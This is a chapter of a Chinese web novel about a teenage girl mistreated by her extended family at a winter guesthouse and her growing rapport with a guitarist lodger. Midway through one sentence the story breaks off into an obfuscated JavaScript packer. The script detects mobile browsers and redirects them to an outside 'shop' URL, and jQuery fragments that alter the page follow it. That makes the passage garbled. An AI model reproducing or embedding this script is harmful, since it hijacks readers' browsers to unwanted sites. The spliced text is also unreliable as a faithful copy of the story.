等众人吃完晚饭，一起围坐在电视机前，吃着冻梨唠嗑的时候，姜柚见正准备坐下。
舅舅手肘搡了舅妈一把：“去帮妈洗碗。”
众人沉默着，气氛变得诡异起来。
外公沉默地看了一眼姜柚见的方向，她几乎是下意识带着恐惧从椅子上弹射起身，懂事说道：
“我去洗吧，让舅妈多休息，今天赶路赶累了。”
刚走进厨房，表姐程爽后脚走了进来，凑到身边问道：
“柚见，今天后院路过的大帅哥是谁啊？新房客？”
姜柚见往水池里熟练地挤着洗洁精，试了下水温，淡声道：“嗯，不知道叫什么。”
“不知道？”程爽显然不信，她顺手把玩着手上的串珠，一边探头往窗外那漆黑的后院瞧，“我看那身段和长相，可不像咱们这儿的人。他背那个箱子里装的啥？摄影器材？还是什么值钱的宝贝？”
姜柚见手上的动作没停，碗筷碰撞的声音在狭窄的厨房里显得格外清脆，像是某种无声的抗拒。
“不知道，那是客人的隐私。”
“你确实死脑筋。”程爽讽刺了一声，续道，“我刚才路过楼梯口，闻见他身上那股味儿了，不是咱们这儿这种臭硫磺味，是那种高级香水的调子……”
铺垫良多，她最后才表明目的，“你帮我去打听下呗，我想认识一下他。”
姜柚见洗碗的手顿了一下，那一瞬间，水池里层层叠叠的白色泡沫映射着厨房昏黄的灯光，显得格外粘稠。
“要去你自己去，我不做这种事。”姜柚见的声音依旧很淡，认真洗碗。
小镇出来的人似乎会染上外界的浮华，多少生成一些投机心理，不知道是看上皮相，还是想实现阶级跃迁。
姜柚见关掉水龙头，甩了甩手上的冷水，“外婆收了他很多钱，叮嘱过我们要少说话。”
“而且……”她眼神幽深起来，“大盒子有没有可能藏尸呢，他早出晚归还是在这种天气，是不是想靠风雪掩盖什么呢……高级香水是不是在掩盖什么味道呢……”
她满意地看着程爽微变的脸色，一转身，笑着擦手。
没错，她的恐怖叙事，是故意的。
程爽上大学之后，心智成熟了一些，但是姜柚见总觉得，她们之间即便有血缘，也永远不会真的情同姐妹。
因为……小时候争抢任何东西，程爽的妈永远站在程爽那边。
她们之间的竞争永远不公平，程爽有裁判护着，姜柚见只能认栽。
甚至……大姨因此不分青红皂白打过她一耳光，她记到了现在。
她很记仇，这很小心眼。
但是她不管，她就是记仇。
永不原谅！
入夜后很冷，姜柚见照常给楼上拎去热水，尽管她不知道对方会如何使用，但是这是外婆抬强行赠送的。
今天的热水换了个大水壶，足有五公斤沉，装得满满当当，一个不小心要是浇在身上，连衣服带皮肉都是粘在一起。
后果很恐怖，她万分小心。
不由得在心里生出，希望这个客人赶紧走的念头，因为他住在这里，她每天都要添很多活。
热水送上去，她转身欲走，身后的门却开了。
“今天地板是你打扫的吗？”
这个人声音好听这件事，比他的皮囊更加权威。
听到这个声音，她会因为刚才心里的怨怼而感到惭愧。
“是啊……没打扫干净吗？”她下意识回想起自己白天有没有出什么差错。
他站在门后，屋内灯光很暗，没有完全露面。
她看见的是一段肩线，一截脖颈，还有半张在光影里的侧脸。
这是他主动开口说话。
她反而有些紧张，觉得自己是不是出差错了。
“很干净，你没带走小费。”他说得言简意赅。
她回想起白天那几张钞票，脸有点热，或许跟陌生人接触就会这样。
“您可以直接给到柜台，外婆会算账。”她总觉碰钱这件事，会引发一些矛盾，给自己带来麻烦。
他没有立刻说话，目光下撤，落在她脸上。
“这是给你的。”他说，“谁来打扫，就给谁。”
“我们不是酒店。”她安心地笑了笑，“不用给。”
“你每天都来。”他淡声道，“提水，打扫。”
“这不是免费的，因为你付出了劳动。”
对方带来一些全新的观念，从前她觉得帮家里干活是应该的，但是世上竟然有人真的给她计费。
她抿了抿唇，“是我外婆安排的，我帮家里的忙。”
他轻轻嗯了一声，像是预料到这件事将无法讨论出结果，冷淡地回了个：“好吧。”
又是一声谢谢，门重新被关上。
但是姜柚见第一次感受到自己的劳动被看到，而且值这么多钱的时候，她心口涌现一阵暖流。
因为这件事，她决定忏悔几分钟自己心里对他的怨怼，以及在程爽面前故意编故事的事情。
但是终究，她还是希望他，赶紧走。
这晚，她兴高采烈地为自己灌了个热水袋，拿进屋里取暖。
她不喜欢把煤炉带进屋子，因为从小大大镇上有不少人死于一氧化碳中毒，她不想悄无声息地死。
而且煤炉在屋内，会让鼻腔变得很干，第二天很不舒服。
-
早上醒来后，楼上的人照例已经外出了，姜柚见继续例行打扫。
这一次，她发现，窗台上的小费还在，而且数额翻倍。
她原以为对方已经放弃给小费的想法了，谁知他还是留下了钱。
从这很小的细节，她大概能感受到对方冷淡外表下，藏着不可动摇的执拗。
可她，也很执拗，拎着水桶视而不见地将门关上。
一连几天，她发现窗台上的小费一直在增加，雷打不动。
但是第五天的时候，奚临晚上回屋的时候，发现小费上面多了张字条
——“昨天给你拎水被烫到了，算工伤，我拿了一张买烫伤膏，找零放在放旁边，花了5.3元。”
他扫了一眼，果然是有零有整的。
唇角几乎不可察地动了一下。
她是真的去买了药。
他把那几枚硬币拨开，看见下面压着一小截纱布的包装袋。
没有多拿，只拿了她认为“合理”的部分，原则性极强。
他低头看了一会儿，然后坐下，把那张纸条翻过来。
他拿起笔，停了几秒，写下一行字：
——“烫伤严重吗？”
他想了想，又在下面添了一句：
——“下次不用给我拎水了。”
常年写曲谱，他擅长速写，笔画偏利落，但是为了让对方看懂，他将自己的行草换成了行楷。
又过了一天，他留的字条消失了，但是热水还是每晚准时送到，她没有照做。
傍晚，姜柚见再次上楼送水。
门没关严，她敲了一下。
“进来。”
这是他第一次让她进屋。
屋里比外面暖一点。
桌上散着几页纸，距离太远，内容看不清，但是是一些她看不懂的符号。
奚临正俯身将吉他放进盒子，她第一次看见，琴弦闪烁着光辉，木质纹路流畅自然，漆面薄，有一些岁月的痕迹，指板边缘磨得发亮，但是保养得极好。
他坐在窗边，侧脸清晰。
这是她在光下第一次看清奚临的脸，轮廓分明又五官深邃，好看又很有辨识度，比她想象的更加年轻，任何角度都是可以印上画报的的程度。
“水放那儿就行。”他说。
姜柚见把水壶放下，终于知道大盒子的谜底，原来是一个硬质琴盒。
屋里有一股淡淡的木头味，这次不是香水，也不是古老木板的味道，而是吉他箱打开之后散出来的那种干净木香。
他注意到她的视线。
“看得懂？”他问。
她摇头，诚实回答。
“看不懂。”
停了一秒，又补一句：
“看得出很贵。”
他轻轻笑了一下，有些雅致。
转瞬即逝的笑意。
“外公猜是摄影器材，外婆猜是滑雪板，大家都猜错了。”
她的语气有些质朴。
奚临把琴扣上锁，抬手指了指角落的大袋子，她一度怀疑是藏尸袋的东西。
“那里面的才是雪板，等天气好一些就可以用了。”
“嗯，骊镇
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271571|198121||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的滑雪场还不错，人也少。”她这样说显得有些自吹自擂，但也是事实。
“广播说北山还封着。”她下意识提醒道。
“的确。”他不置可否。
此时楼下传来的骚动，人声明灭，姜柚见赶紧离开下楼了。
“柚见啊，你弟弟不懂事，把你试卷划花了，我已经骂过他了，我看应该还能用。”
一下楼，走廊上一片狼藉，满地都是她的课本和试卷，还有些破损的书页，被撕得粉碎。
就连她洗得很干净的帆布书包，也被黑色的墨水染红一大片，钢笔已经在地上头身分离了。
她连忙捡起钢笔查看，发现笔尖已经损坏。
“蔡瑞凯！”
她的音量比平时提高了很多，愤怒又尖利，不似她平时文静的模样。
客厅里一瞬间安静，表弟正抱着那辆玩具车站在沙发旁，正在玩弄一颗融化了的冻梨，将冻梨涂抹在试卷上画画。
他被这声音吓得一激灵，下一秒就听见气势汹汹的脚步声，抬头就看到姜柚见正冲下楼，手里拿着鸡毛掸子。
他被吓得大叫一声，拔腿就跑。
客厅的地面摊着还她的试卷，数学卷被划出一条长长的墨线，还缺了个角，英语作文被涂鸦了，影响了阅读，还带着恶心的食物残渣。
她弯腰把纸一张张捡起来，浑身发凉。
外婆站在一旁，语气带着哄劝：
“柚见，别跟孩子置气。”
小，永远是这个理由。
她捏着那支笔尖破损的钢笔，恨不得将这笔直接扎进蔡瑞凯那个让人厌恶的背影。
“这是我爸给我买的。”
声音颤抖。
此话一出，大家都不敢说话了。
因为姜柚见的父亲已经当了五年的植物人了，这支笔，这辈子都不可能再送出第二支了。
大姨走过来，眉头皱起：
“行了，不就一支笔吗？你当姐姐的，让着点。”
“让着点”三个字落下来，像从小到大无数次重复的咒语。
她抬头，“我让得还不够吗？”
“我可以让，谁来赔我的笔，谁能让我苏醒，谁来赔我啊！”
空气陡然绷紧，大姨脸色沉了下去。
姜柚见胸口剧烈起伏了一下，喉咙发紧。
“他翻我书包，撕我卷子，往我书上倒墨水，我还要笑着说没关系吗？”
客厅里所有人都看着她，目光有些木讷，没有半点动容，如同没有感情的假人。
外公皱眉：“柚见，说话注意点。”
舅舅打圆场：“小孩子闹着玩……”
“他九岁了。”她打断，声音第一次高起来，“是智商的问题，还是教育的问题，你们比我清楚。”
她指向蔡瑞凯，言之凿凿地说：“你现在就无法无天，以后你要犯罪吗？”
表弟被她的语气吓了一下，随即脸一扭，开始哭：“我又不是故意的！”
舅妈立刻把他拉到身后：“你诅咒谁呢？”
她看着那只护在前面的手，忽然想起很多年前那一耳光。
耳边仿佛又响起清脆的声响，脸颊瞬间鼓起。
她知道争辩无用，举起那支坏掉的钢笔。
“这笔谁赔？”
舅妈脸色彻底冷下来。
“你还要我们赔？他是你弟弟！”
“这么对待我的人，不是我弟，我不认。”
她声音颤了一下，眼眶发热，没有落泪。
仿佛落泪似乎还心怀希望，没有希望的事情，不值得落泪。
外婆终于开口：
“柚见，别闹了。”
她忽然觉得很疲惫，没有一个人站在她这边的抗争，注定是无用的抗争。
她低头，把最后一张卷子捡起来。
纸角已经被踩脏。
她没再说话，沉默地上了楼。
顶楼，声音风穿过木质结构，传进了半开的房间里。
奚临站在楼梯口，听见了一些偶尔泄露的声音和内容。
他站在那里，静了很久，仿佛不小心踏足了一个陌生而凌乱的世界。
没多久，楼下又恢复喧闹，好像什么都没发生过，一家人有说有笑。
但是不包括姜柚见。